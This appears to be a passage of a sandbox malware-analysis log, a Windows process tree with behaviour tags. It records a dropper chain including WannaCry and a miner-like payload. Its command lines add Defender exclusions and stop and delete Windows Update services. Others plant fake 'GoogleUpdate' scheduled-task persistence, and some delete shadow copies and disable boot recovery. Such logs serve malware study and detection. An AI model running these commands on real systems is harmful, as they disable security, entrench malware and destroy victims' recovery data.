QAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=8⤵
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\jtgekzd1\jtgekzd1.cmdline"9⤵
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESE0A1.tmp" "c:\Users\Admin\AppData\Local\Temp\jtgekzd1\CSC5CE2BC692E8E46C480EFCECA4B102984.TMP"10⤵
-
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tree /A /F"7⤵
-
C:\Windows\system32\tree.comtree /A /F8⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tree /A /F"7⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tree /A /F"7⤵
-
C:\Windows\system32\tree.comtree /A /F8⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tree /A /F"7⤵
-
C:\Windows\system32\tree.comtree /A /F8⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tree /A /F"7⤵
-
C:\Windows\system32\tree.comtree /A /F8⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "getmac"7⤵
-
C:\Windows\system32\getmac.exegetmac8⤵
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\Anap.a.exe"C:\Users\Admin\AppData\Local\Temp\Files\Anap.a.exe"5⤵
-
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f2⤵
-
C:\Windows\System32\sc.exesc stop UsoSvc3⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc stop WaaSMedicSvc3⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc stop wuauserv3⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc stop bits3⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc stop dosvc3⤵
- Launches sc.exe
-
-
C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f3⤵
-
-
C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f3⤵
-
-
C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f3⤵
- Modifies security service
-
-
C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f3⤵
-
-
C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f3⤵
-
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 02⤵
- Power Settings
-
C:\Windows\System32\powercfg.exepowercfg /x -hibernate-timeout-ac 03⤵
- Power Settings
-
-
C:\Windows\System32\powercfg.exepowercfg /x -hibernate-timeout-dc 03⤵
- Power Settings
-
-
C:\Windows\System32\powercfg.exepowercfg /x -standby-timeout-ac 03⤵
- Power Settings
-
-
C:\Windows\System32\powercfg.exepowercfg /x -standby-timeout-dc 03⤵
- Power Settings
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#vpnaxct#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\dialer.exeC:\Windows\System32\dialer.exe2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#ayizh#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }2⤵
-
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC3⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Command and Scripting Interpreter: PowerShell
- Modifies data under HKEY_USERS
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f2⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
-
C:\Windows\System32\sc.exesc stop UsoSvc3⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc stop WaaSMedicSvc3⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc stop wuauserv3⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc stop bits3⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc stop dosvc3⤵
- Launches sc.exe
-
-
C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f3⤵
-
-
C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f3⤵
-
-
C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f3⤵
-
-
C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f3⤵
-
-
C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f3⤵
-
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 02⤵
- Power Settings
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
-
C:\Windows\System32\powercfg.exepowercfg /x -hibernate-timeout-ac 03⤵
- Power Settings
-
-
C:\Windows\System32\powercfg.exepowercfg /x -hibernate-timeout-dc 03⤵
- Power Settings
-
-
C:\Windows\System32\powercfg.exepowercfg /x -standby-timeout-ac 03⤵
- Power Settings
-
-
C:\Windows\System32\powercfg.exepowercfg /x -standby-timeout-dc 03⤵
- Power Settings
-
-
-
C:\Windows\System32\dialer.exeC:\Windows\System32\dialer.exe eajtcgrlzupf2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
-
C:\Windows\System32\Wbem\WMIC.exewmic PATH Win32_VideoController GET Name, VideoProcessor3⤵
- Detects videocard installed
-
-
-
C:\Windows\System32\dialer.exeC:\Windows\System32\dialer.exe kamuqghozvgymvhu 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPpZDYkQjcS/S/TS19hCmaZeBIUimeqNLefwJkdZRJOrSpmO+0pqHVIfUBcNW7FeU2kln03vvTX/y/UWjqd77Oj6n3ik7eLa+4je8vEqt/7VWAQiSbqcxIf9/eyTznYL1NHfGL3u3mSRFre0xvuBRqyy1eHwP53iDRotrR+JNbF3FMBaMPFnDooLn4DjieMA3ox4N93x1FdLZq6syOH56EJFpRiOcfkfqkJFHkXOmZN9VzjfRS1goxChA+bs6J6EomT7t+NB/UOw/hAfq/3nA/AMY+ksV0gz5RZKvCL6aHlMZLaQZB4owAuD67VqUasg/do50XTWnjsQhDrHF+iUSaGkBPapXZcYe+H2yR18IjNKOkz57D8rmccsoE1w1VL9CUhxjI9DyRo+4WY6QzFZ2Zsiss184MznthyMZdl4KgdZ7cwYGgu0SamXOTOuAqokJHliYZu2u73KDFgmr74ArJD3lqg7kPjwWhMfbsjAN/Op71ss/5+rojpUxZypowqF8OnEU0pkcuW4ufOpssWY82SK2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#xufrlnojv#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#uevzprgp#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }2⤵
-
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC3⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f2⤵
-
C:\Windows\System32\sc.exesc stop UsoSvc3⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc stop WaaSMedicSvc3⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc stop wuauserv3⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc stop bits3⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc stop dosvc3⤵
- Launches sc.exe
-
-
C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f3⤵
-
-
C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f3⤵
-
-
C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f3⤵
-
-
C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f3⤵
-
-
C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f3⤵
-
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 02⤵
- Power Settings
-
C:\Windows\System32\powercfg.exepowercfg /x -hibernate-timeout-ac 03⤵
- Power Settings
-
-
C:\Windows\System32\powercfg.exepowercfg /x -hibernate-timeout-dc 03⤵
- Power Settings
-
-
C:\Windows\System32\powercfg.exepowercfg /x -standby-timeout-ac 03⤵
- Power Settings
-
-
C:\Windows\System32\powercfg.exepowercfg /x -standby-timeout-dc 03⤵
- Power Settings
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#vpnaxct#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic PATH Win32_VideoController GET Name, VideoProcessor3⤵
- Detects videocard installed
-
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo1⤵
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵
-
C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k UdkSvcGroup -s UdkUserSvc1⤵
-
C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{973D20D7-562D-44B9-B70B-5A0F49CCDF3F}1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k osprivacy -p -s camsvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc1⤵
- Modifies data under HKEY_USERS
-
C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service1⤵
- Modifies data under HKEY_USERS
-
C:\Windows\system32\SppExtComObj.exeC:\Windows\system32\SppExtComObj.exe -Embedding1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager1⤵
-
C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵
-
C:\ProgramData\Synaptics\Synaptics.exeC:\ProgramData\Synaptics\Synaptics.exe1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Modifies registry class
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\._cache_Synaptics.exe"C:\Windows\system32\._cache_Synaptics.exe"2⤵
- Downloads MZ/PE file
- Executes dropped EXE
- Drops file in System32 directory
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
-
C:\Windows\SysWOW64\Files\random.exe"C:\Windows\System32\Files\random.exe"3⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\svchost015.exe"C:\Windows\System32\Files\random.exe"4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\Files\erererer.exe"C:\Windows\System32\Files\erererer.exe"3⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\Files\NoMoreRansom.exe"C:\Windows\System32\Files\NoMoreRansom.exe"3⤵
- Executes dropped EXE
- Adds Run key to start application
- Enumerates connected drives
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\system32\vssadmin.exeC:\Windows\system32\vssadmin.exe List Shadows4⤵
- Interacts with shadow copies
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV15⤵
-
-
-
C:\Windows\system32\vssadmin.exeC:\Windows\system32\vssadmin.exe Delete Shadows /All /Quiet4⤵
- Interacts with shadow copies
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV15⤵
- Suspicious use of SetWindowsHookEx
-
-
-
C:\Windows\system32\vssadmin.exeC:\Windows\system32\vssadmin.exe List Shadows4⤵
- Interacts with shadow copies
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV15⤵
-
-
-
-
C:\Windows\SysWOW64\Files\alphaTweaks.exe"C:\Windows\System32\Files\alphaTweaks.exe"3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\Files\Barchart.exe"C:\Windows\System32\Files\Barchart.exe"3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\is-8BBZO9MT5E.tmp\Barchart.tmp"C:\Users\Admin\AppData\Local\Temp\is-8BBZO9MT5E.tmp\Barchart.tmp" /SL5="$40268,3482063,893440,C:\Windows\SysWOW64\Files\Barchart.exe"4⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\Files\Barchart.exe"C:\Windows\SysWOW64\Files\Barchart.exe" /VERYSILENT /PASSWORD=efecbce3-8f70-4556-a1fc-09d93c397be05⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\is-AQQ0YOTLZS.tmp\Barchart.tmp"C:\Users\Admin\AppData\Local\Temp\is-AQQ0YOTLZS.tmp\Barchart.tmp" /SL5="$40320,3482063,893440,C:\Windows\SysWOW64\Files\Barchart.exe" /VERYSILENT /PASSWORD=efecbce3-8f70-4556-a1fc-09d93c397be06⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
-
C:\ProgramData\0e266ab5-75de-44de-b66f-d91f0ef68780\FnHotkeyUtility.exe"C:\ProgramData\0e266ab5-75de-44de-b66f-d91f0ef68780\FnHotkeyUtility.exe" -ScanType7⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks SCSI registry key(s)
-
-
-
-
-
-
C:\Windows\SysWOW64\Files\Lab01-02.exe"C:\Windows\System32\Files\Lab01-02.exe"3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\Files\RambledMime.exe"C:\Windows\System32\Files\RambledMime.exe"3⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"4⤵
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeC:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe5⤵
-
-
-
-
C:\Windows\SysWOW64\Files\WannaCry.exe"C:\Windows\System32\Files\WannaCry.exe"3⤵
- Drops startup file
- Executes dropped EXE
- Adds Run key to start application
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c 91631764980875.bat4⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\cscript.execscript //nologo c.vbs5⤵
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\Files\!WannaDecryptor!.exe!WannaDecryptor!.exe f4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im MSExchange*4⤵
- System Location Discovery: System Language Discovery
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im Microsoft.Exchange.*4⤵
- System Location Discovery: System Language Discovery
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im sqlserver.exe4⤵
- System Location Discovery: System Language Discovery
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im sqlwriter.exe4⤵
- System Location Discovery: System Language Discovery
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\Files\!WannaDecryptor!.exe!WannaDecryptor!.exe c4⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c start /b !WannaDecryptor!.exe v4⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\Files\!WannaDecryptor!.exe!WannaDecryptor!.exe v5⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SysWOW64\cmd.execmd.exe /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet6⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\Wbem\WMIC.exewmic shadowcopy delete7⤵
-
-
-
-
-
C:\Windows\SysWOW64\Files\!WannaDecryptor!.exe!WannaDecryptor!.exe4⤵
- Executes dropped EXE
- Sets desktop wallpaper using registry
- Suspicious use of SetWindowsHookEx
-
-
-
C:\Windows\SysWOW64\Files\EZFN%20op%20cheats.exe"C:\Windows\System32\Files\EZFN%20op%20cheats.exe"3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\Files\builder.exe"C:\Windows\System32\Files\builder.exe"3⤵
- Executes dropped EXE
-
-
-
C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" /automation -Embedding1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
-
C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\DW\DW20.EXE"C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\DW\DW20.EXE" -x -s 9162⤵
-
-
C:\ProgramData\Windows\csrss.exe"C:\ProgramData\Windows\csrss.exe"1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
-
C:\Users\Admin\AppData\Roaming\OneDrive.Sync.Service.exeC:\Users\Admin\AppData\Roaming\OneDrive.Sync.Service.exe1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 436 -p 7800 -ip 78001⤵
-
C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵
-
C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k PrintWorkflow -s PrintWorkflowUserSvc1⤵
-
C:\Windows\SysWOW64\Files\Lab01-02.exeC:\Windows\SysWOW64\Files\Lab01-02.exe1⤵
